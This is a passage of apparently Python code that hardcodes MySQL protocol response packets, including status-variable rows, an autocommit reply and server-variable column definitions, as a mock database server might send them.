65\x5f\x64\x65\x66\x69\x6e\x69\x74\x69\x6f\x6e\x73\x01\x30\x10\x00\x00\x0b\x0d\x4f\x70\x65\x6e\x65\x64\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x23\x00\x00\x0c\x20\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x61\x63\x63\x6f\x75\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x0d\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x0e\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x0f\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x64\x69\x67\x65\x73\x74\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x10\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x11\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x12\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x13\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x68\x6f\x73\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x25\x00\x00\x14\x22\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x69\x6e\x64\x65\x78\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x15\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6c\x6f\x63\x6b\x65\x72\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x16\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x6d\x6f\x72\x79\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x17\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x74\x61\x64\x61\x74\x61\x5f\x6c\x6f\x63\x6b\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x18\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x19\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1a\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6e\x65\x73\x74\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x6c\x6f\x73\x74\x01\x30\x2e\x00\x00\x1b\x2b\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x22\x00\x00\x1c\x1f\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x1d\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1e\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x30\x00\x00\x1f\x2d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x61\x74\x74\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x20\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x21\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x22\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x67\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2c\x00\x00\x23\x29\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x24\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x25\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x26\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x27\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x28\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x29\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x75\x73\x65\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x16\x00\x00\x2a\x13\x50\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x6d\x74\x5f\x63\x6f\x75\x6e\x74\x01\x30\x15\x00\x00\x2b\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x1b\x00\x00\x2c\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x6d\x65\x6d\x6f\x72\x79\x07\x31\x30\x33\x31\x38\x37\x32\x0e\x00\x00\x2d\x0b\x51\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x11\x00\x00\x2e\x0e\x51\x63\x61\x63\x68\x65\x5f\x69\x6e\x73\x65\x72\x74\x73\x01\x30\x17\x00\x00\x2f\x14\x51\x63\x61\x63\x68\x65\x5f\x6c\x6f\x77\x6d\x65\x6d\x5f\x70\x72\x75\x6e\x65\x73\x01\x30\x14\x00\x00\x30\x11\x51\x63\x61\x63\x68\x65\x5f\x6e\x6f\x74\x5f\x63\x61\x63\x68\x65\x64\x01\x32\x1a\x00\x00\x31\x17\x51\x63\x61\x63\x68\x65\x5f\x71\x75\x65\x72\x69\x65\x73\x5f\x69\x6e\x5f\x63\x61\x63\x68\x65\x01\x30\x16\x00\x00\x32\x13\x51\x63\x61\x63\x68\x65\x5f\x74\x6f\x74\x61\x6c\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x0a\x00\x00\x33\x07\x51\x75\x65\x72\x69\x65\x73\x01\x38\x0c\x00\x00\x34\x09\x51\x75\x65\x73\x74\x69\x6f\x6e\x73\x01\x37\x13\x00\x00\x35\x10\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x6a\x6f\x69\x6e\x01\x30\x19\x00\x00\x36\x16\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x72\x61\x6e\x67\x65\x5f\x6a\x6f\x69\x6e\x01\x30\x0f\x00\x00\x37\x0c\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x15\x00\x00\x38\x12\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x5f\x63\x68\x65\x63\x6b\x01\x30\x0e\x00\x00\x39\x0b\x53\x65\x6c\x65\x63\x74\x5f\x73\x63\x61\x6e\x01\x30\x19\x00\x00\x3a\x16\x53\x6c\x61\x76\x65\x5f\x6f\x70\x65\x6e\x5f\x74\x65\x6d\x70\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x16\x00\x00\x3b\x13\x53\x6c\x6f\x77\x5f\x6c\x61\x75\x6e\x63\x68\x5f\x74\x68\x72\x65\x61\x64\x73\x01\x30\x0f\x00\x00\x3c\x0c\x53\x6c\x6f\x77\x5f\x71\x75\x65\x72\x69\x65\x73\x01\x30\x14\x00\x00\x3d\x11\x53\x6f\x72\x74\x5f\x6d\x65\x72\x67\x65\x5f\x70\x61\x73\x73\x65\x73\x01\x30\x0d\x00\x00\x3e\x0a\x53\x6f\x72\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x0c\x00\x00\x3f\x09\x53\x6f\x72\x74\x5f\x72\x6f\x77\x73\x01\x30\x0c\x00\x00\x40\x09\x53\x6f\x72\x74\x5f\x73\x63\x61\x6e\x01\x30\x1a\x00\x00\x41\x17\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x0e\x00\x00\x42\x0b\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x1a\x00\x00\x43\x17\x53\x73\x6c\x5f\x63\x61\x6c\x6c\x62\x61\x63\x6b\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x0c\x00\x00\x44\x0a\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x00\x11\x00\x00\x45\x0f\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x5f\x6c\x69\x73\x74\x00\x16\x00\x00\x46\x13\x53\x73\x6c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1b\x00\x00\x47\x18\x53\x73\x6c\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x17\x00\x00\x48\x14\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x16\x00\x00\x49\x13\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x16\x00\x00\x4a\x13\x53\x73\x6c\x5f\x64\x65\x66\x61\x75\x6c\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x01\x30\x17\x00\x00\x4b\x14\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x18\x00\x00\x4c\x15\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x16\x00\x00\x4d\x14\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x61\x66\x74\x65\x72\x00\x17\x00\x00\x4e\x15\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x62\x65\x66\x6f\x72\x65\x00\x19\x00\x00\x4f\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1b\x00\x00\x50\x18\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1c\x00\x00\x51\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x6f\x64\x65\x04\x4e\x4f\x4e\x45\x1e\x00\x00\x52\x1b\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x19\x00\x00\x53\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x01\x30\x1d\x00\x00\x54\x1a\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x73\x01\x30\x16\x00\x00\x55\x13\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x73\x5f\x72\x65\x75\x73\x65\x64\x01\x30\x21\x00\x00\x56\x1e\x53\x73\x6c\x5f\x75\x73\x65\x64\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x65\x6e\x74\x72\x69\x65\x73\x01\x30\x13\x00\x00\x57\x10\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x12\x00\x00\x58\x0f\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x0d\x00\x00\x59\x0b\x53\x73\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x00\x1a\x00\x00\x5a\x15\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x69\x6d\x6d\x65\x64\x69\x61\x74\x65\x03\x31\x30\x30\x15\x00\x00\x5b\x12\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x77\x61\x69\x74\x65\x64\x01\x30\x18\x00\x00\x5c\x15\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1a\x00\x00\x5d\x17\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1d\x00\x00\x5e\x1a\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x18\x00\x00\x5f\x15\x54\x63\x5f\x6c\x6f\x67\x5f\x6d\x61\x78\x5f\x70\x61\x67\x65\x73\x5f\x75\x73\x65\x64\x01\x30\x13\x00\x00\x60\x10\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x73\x69\x7a\x65\x01\x30\x14\x00\x00\x61\x11\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x77\x61\x69\x74\x73\x01\x30\x11\x00\x00\x62\x0e\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x61\x63\x68\x65\x64\x01\x30\x14\x00\x00\x63\x11\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64\x01\x31\x12\x00\x00\x64\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x72\x65\x61\x74\x65\x64\x01\x31\x12\x00\x00\x65\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x72\x75\x6e\x6e\x69\x6e\x67\x01\x31\x0a\x00\x00\x66\x06\x55\x70\x74\x69\x6d\x65\x02\x32\x32\x1d\x00\x00\x67\x19\x55\x70\x74\x69\x6d\x65\x5f\x73\x69\x6e\x63\x65\x5f\x66\x6c\x75\x73\x68\x5f\x73\x74\x61\x74\x75\x73\x02\x32\x32\x07\x00\x00\x68\xfe\x00\x00\x02\x00\x00\x00"
def get_commit_data():
    return bytes([0x01, 0x00, 0x00, 0x01, 0x01, 0x2a, 0x00, 0x00,
                  0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
                  0x14, 0x40, 0x40, 0x73, 0x65, 0x73, 0x73, 0x69,
                  0x6f, 0x6e, 0x2e, 0x61, 0x75, 0x74, 0x6f, 0x63,
                  0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x00, 0x0c, 0x3f,
                  0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x80, 0x00,
                  0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x03, 0x01,
                  0x31, 0x07, 0x00, 0x00, 0x04, 0xfe, 0x00, 0x00,
                  0x02, 0x00, 0x00, 0x00])
def get_var_data():
    part1 = [0x01, 0x00, 0x00, 0x01, 0x14, 0x2e, 0x00, 0x00, 
    0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x18, 0x61, 0x75, 0x74, 0x6f, 0x5f, 0x69, 0x6e, 
    0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x5f, 
    0x69, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x2a, 
    0x00, 0x00, 0x03, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 
    0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 
    0x5f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x00, 
    0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 
    0x00, 0x00, 0x1f, 0x00, 0x00, 0x2e, 0x00, 0x00, 
    0x04, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x18, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 
    0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 0x63, 
    0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 
    0x6e, 0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 
    0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2b, 
    0x00, 0x00, 0x05, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x15, 0x63, 0x68, 0x61, 0x72, 0x61, 
    0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 
    0x5f, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 
    0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 
    0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00, 
    0x00, 0x06, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 
    0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 
    0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 
    0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x00, 0x0c, 
    0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 0x00, 
    0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 0x07, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x10, 
    0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 0x69, 0x6f, 
    0x6e, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 
    0x00, 0x0c, 0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 
    0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00, 
    0x00, 0x08, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 
    0x00, 0x14, 0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 
    0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x6f, 0x6e, 0x6e, 
    0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x0c, 
    0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 0xfd, 0x00, 
    0x00, 0x1f, 0x00, 0x00, 0x22, 0x00, 0x00, 0x09, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x0c, 
    0x69, 0x6e, 0x69, 0x74, 0x5f, 0x63, 0x6f, 0x6e, 
    0x6e, 0x65, 0x63, 0x74, 0x00, 0x0c, 0x21, 0x00, 
    0x2a, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x29, 0x00, 0x00, 0x0a, 0x03, 0x64, 
    0x65, 0x66, 0x00, 0x00, 0x00, 0x13, 0x69, 0x6e, 
    0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76, 
    0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1d, 
    0x00, 0x00, 0x0b, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x07, 0x6c, 0x69, 0x63, 0x65, 0x6e, 
    0x73, 0x65, 0x00, 0x0c, 0x21, 0x00, 0x09, 0x00, 
    0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 
    0x2c, 0x00, 0x00, 0x0c, 0x03, 0x64, 0x65, 0x66, 
    0x00, 0x00, 0x00, 0x16, 0x6c, 0x6f, 0x77, 0x65, 
    0x72, 0x5f, 0x63, 0x61, 0x73, 0x65, 0x5f, 0x74, 
    0x61, 0x62, 0x6c, 0x65, 0x5f, 0x6e, 0x61, 0x6d, 
    0x65, 0x73, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 
    0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 
    0x28, 0x00, 0x00, 0x0d, 0x03, 0x64, 0x65, 0x66, 
    0x00, 0x00, 0x00, 0x12, 0x6d, 0x61, 0x78, 0x5f, 
    0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x5f, 
    0x70, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x00, 0x0c, 
    0x3f, 0x00, 0x15, 0x00, 0x00, 0x00, 0x08, 0xa0 ];
    part2= [
    0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x0e, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x11, 
    0x6e, 0x65, 0x74, 0x5f, 0x77, 0x72, 0x69, 0x74, 
    0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x26, 
    0x00, 0x00, 0x0f, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 0x72, 0x79, 
    0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x5f, 0x73, 
    0x69, 0x7a, 0x65, 0x00, 0x0c, 0x3f, 0x00, 0x15, 
    0x00, 0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 
    0x00, 0x26, 0x00, 0x00, 0x10, 0x03, 0x64, 0x65, 
    0x66, 0x00, 0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 
    0x72, 0x79, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 
    0x5f, 0x74, 0x79, 0x70, 0x65, 0x00, 0x0c, 0x21, 
    0x00, 0x09, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 
    0x1f, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x11, 0x03, 
    0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x08, 0x73, 
    0x71, 0x6c, 0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x00, 
    0x0c, 0x21, 0x00, 0x9b, 0x01, 0x00, 0x00, 0xfd, 
    0x00, 0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 
    0x12, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x10, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f, 
    0x74, 0x69, 0x6d, 0x65, 0x5f, 0x7a, 0x6f, 0x6e, 
    0x65, 0x00, 0x0c, 0x21, 0x00, 0x12, 0x00, 0x00, 
    0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x13, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x5f, 
    0x7a, 0x6f, 0x6e, 0x65, 0x00, 0x0c, 0x21, 0x00, 
    0x12, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x2b, 0x00, 0x00, 0x14, 0x03, 0x64, 
    0x65, 0x66, 0x00, 0x00, 0x00, 0x15, 0x74, 0x72, 
    0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 
    0x6e, 0x5f, 0x69, 0x73, 0x6f, 0x6c, 0x61, 0x74, 
    0x69, 0x6f, 0x6e, 0x00, 0x0c, 0x21, 0x00, 0x2d, 
    0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 
    0x00, 0x22, 0x00, 0x00, 0x15, 0x03, 0x64, 0x65, 
    0x66, 0x00, 0x00, 0x00, 0x0c, 0x77, 0x61, 0x69, 
    0x74, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1f, 
    0x01, 0x00, 0x16, 0x01, 0x31, 0x04, 0x75, 0x74, 
    0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 0x38, 0x04, 
    0x75, 0x74, 0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 
    0x38, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x75, 
    0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x5f, 0x63, 
    0x69, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x67, 
    0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x5f, 0x63, 
